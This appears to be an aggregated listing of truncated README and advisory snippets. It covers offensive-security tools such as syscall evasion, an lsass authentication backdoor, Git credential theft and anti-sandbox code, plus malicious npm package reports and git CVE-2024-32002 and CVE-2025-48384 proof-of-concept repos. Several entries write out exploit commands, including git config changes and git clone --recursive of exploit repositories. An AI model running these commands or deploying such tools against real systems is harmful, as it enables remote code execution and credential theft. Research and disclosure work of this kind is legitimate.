RedTeamCCode

RedTeamCCode レッドチームCコードリポジトリ システムで使用されているシステムコールIDを知りたいですか？ getsyscall.exe ntdll.dll NtProtectVirtualMemory ntdll.dll!NtProtectVirtualMemory at 0x00007FFDE568D010 NtProtectVirtualMemory syscall ID 0x00000050 80 CrowdStrikeがフックしたntdll.dll API C:\Users\dev\Desktophookfinder64.exe...

git_rce

CVE-2024-32002 PoC 1. 다음과 같이 git의 심볼릭 링크 옵션을 설정해야 합니다: git config --global core.symlinks true 2. 그런 다음 다음 명령으로 CVE-2024-32002를 악용합니다: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130 kali192.168.216.129 --Git clone 및...

nosferatu

nosferatu Windows NTLM/Kerberos 인증 백도어 작동 방식 먼저, DLL이 lsass.exe 프로세스에 주입되고, 인증 WinAPI 호출을 후킹하기 시작합니다. 대상 함수는 다음과 같습니다: NTLM: NtlmShared!MsvpPasswordValidate Kerberos: cryptdll!CDLocateCSystem Kerberos: samsrv!SamIRetrieveMultiplePrimaryCredentials 발각되지 않기 위해, 후킹된 함수는 먼저 원래 함수를 호출하여 정상적인 인증 흐름을...

GitBackdorizer

GitBackdorizer BETA GitBackdorizer는 개념 증명PoC 도구로, Ulisses Castro의 50 ton of backdoors 발표에서 영감을 받았습니다. 사용자의 부주의를 악용하여 Git 접근 자격 증명을 탈취합니다. 작동 방식 GitBackdorizer는 핸들러handler, 드로퍼dropper, 페이로드payload 세 가지 구성 요소로 이루어져 있습니다. 핸들러 핸들러는 자격 증명을 캡처하기 위해 HTTP 서버를 설정하고, 드로퍼의 페이로드를 구성할 수 있는 메뉴를 제공합니다. 드로퍼 전달은...

Malicious code in lite-matterr (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc9b5f5edaae9103fd26de7cb70e661d78d6948dc3c519fec6b4b62fd471fbfc [email protected] declares a postinstall hook in package.json that runs wscript.exe 4444.vbs on npm install. The bundled 4444.vbs is a 765KB heavily...

SysWhispers

SysWhispers SysWhispers는 직접 시스템 호출을 수행할 수 있는 헤더/ASM 파일을 생성하여 회피를 돕습니다. Windows XP부터 Windows 10 1904220H2까지 모든 핵심 시스템 콜이 지원됩니다. 예제 생성 파일은 example-output/ 폴더에서 확인할 수 있습니다. 소개 다양한 보안 제품은 사용자 모드 API에 후크를 설치하여 실행 흐름을 자체 엔진으로 리디렉션하고 의심스러운 동작을 탐지합니다. 시스템 호출을 수행하는 ntdll.dll의 함수는 몇 개의 어셈블리 명령어로만 구성되어 있으므로...

Malicious code in studiocode_tools (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 261d413c0847b530c9a452c209c25e0a7d9123f9b0f20b26d0afcc41a929c74a package.json declares a postinstall hook that runs wscript.exe 4444.vbs, auto-executing on npm install on Windows. The shipped 4444.vbs contains...

Malicious code in studiocode_eligibility (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a49b1af8bbf0463bb38d3049e59c28b0dcc8d2e3e5ef54611b4e77bddfdd36dc package.json declares a postinstall hook wscript.exe 4444.vbs that automatically executes a 765KB VBScript shipped in the tarball on Windows...

MAL-2026-17492 Malicious code in @angularr/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8 Package is published as @angularr/cli double 'r' and copies @angular/cli's description, keywords, homepage, repository URL, README, and version strin...

Malicious code in core-js-gnz (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dc57686b95f827f2c3b0501d97b6575e077247255bf5d4227ae9bc8bedd43937 On install, package.json runs node init.js as a postinstall hook. init.js collects host identifiers os.hostname, os.userInfo.username, os.platform,...

anticuckoo

anticuckoo Cuckoo Sandbox를 탐지하고 충돌시키는 도구입니다. Cuckoo Sandbox Official 및 Accuvant의 Cuckoo 버전에서 테스트되었습니다. 기부를 고려해 주십시오: https://github.com/sponsors/therealdreg Anticuckoo는 FireEye와 같은 다른 샌드박스도 탐지할 수 있습니다 -c2: anticuckoo에 관한 Reddit / netsec 토론. 기능 탐지: Cuckoo 훅 탐지 모든 종류의 Cuckoo 훅. 자체 메모리 내 의심스러운 데이터 A...

CVE-2025-48384

CVE-2025-48384: 캐리지 리턴으로 git 깨기 및 클론 RCE 재현 출처: https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. 모든 크레딧은 David Leadbeater에게 있습니다. 이것은 취약점의 기본 재현 시도입니다. 트리거하려면 취약한 git 버전에서 git clone --recursive https://github.com/acheong08/CVE-2025-48384를 실행하면 /tmp/fishsucks 파일이 갑자기 나타나는 것을 볼 수 있습니다. gi...

drow

drow 설명 TL;DR drow는 ELF 실행 파일빌드 후에 코드를 삽입하고 진입점을 후킹하는 데 사용되는 명령줄 유틸리티입니다. 수정되지 않은 ELF 실행 파일을 입력으로 받아 런타임에 실행되는 사용자 제공 페이로드가 포함된 수정된 ELF를 내보냅니다. 약간 더 자세히 ... Drow는 새 패치된 ELF를 생성하기 위해 다음 단계를 수행합니다: 1. 수정되지 않은 대상 ELF 실행 파일과 사용자 제공 페이로드위치 독립적인 블롭를 매핑합니다. 2. 프로그램 헤더를 파싱하여 첫 번째 실행 가능 세그먼트를 찾습니다. 3. 섹션...

hook

hook CVE-2024-32002용 PoC 익스플로잇...

gattacker

A Node.js package for BLE Bluetooth Low Energy Man-in-the-Middle & more. Prerequisites see: https://github.com/sandeepmistry/noble https://github.com/sandeepmistry/bleno Install npm install gattacker Usage Configure Running both components Set up variables in config.env: NOBLEHCIDEVICEID : noble...

CVE-2025-48384-test

명령줄 재현 git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git GitHub 저장소 참조 수정 git init repo git -C repo -c protocol.file.allow=always submodule add https://github.com/beishanxueyuan/CVE-2025-48384.git sub git -C repo mv sub $printf "sub\r" git config unset -f...

claude-code-security-audit

Claude Code Security Audit & CVE-2026-21852 Scanner A security audit and environment hardening tool for Anthropic's Claude Code agentic CLI. Scans repositories for CVE-2026-21852 pre-trust execution surfaces, hook hijacking, malicious base URL redirection, and unauthenticated token exfiltration...

CVE-2024-32002-EXP

CVE-2024-32002-EXP !/bin/bash Git 구성 옵션 설정 git config --global protocol.file.allow always git config --global core.symlinks true 경고 메시지 방지 기본 브랜치를 main으로 설정 git config --global init.defaultBranch main tell-tale 경로 정의 telltalepath="$PWD/tell.tale" hook 저장소 초기화 git init hook cd hook mkdir -p y/hook...

STrace

STrace Steve's Tracer. Windows syscall 후크를 재구현한 DTrace입니다. 꼼수 없이 패치가드PatchGuard와 호환되는 SSDT 후크라고 생각하면 됩니다. DTrace 시스템 호출 API 자체가 이 추가 테이블을 지원하지 않으므로 SSSDTwin32k API는 지원하지 않습니다. 모든 사용자 모드 SSDT syscall 외에도 Zw 커널 API를 추적할 수 있습니다. STrace용 새 플러그인을 개발 중이라면 이 README를 끝까지 읽어 주세요! 기능 Windows의 DTrace는 여러 프로...

cve-2024-32002-submodule-rce

CVE-2024-32002 RCE 서브모듈 CVE-2024-32002를 시연하는 서브모듈입니다. 악성 커밋 훅을 부모 저장소의 .git 디렉터리에 로드하여 원격 코드 실행RCE을 시연합니다. 이 저장소를 활용하는 실제 POC는 cve-2024-32002-poc-rce를 참조하세요. 이 저장소가 포함하는 것 post-checkout이라는 악성 git 훅이 포함되어 있습니다. 이 훅은 클론이 완료된 직후 실행되며, Windows 또는 MacOS에서 계산기를 실행합니다. git 훅은 notexists/hooks 디렉토리 아래에...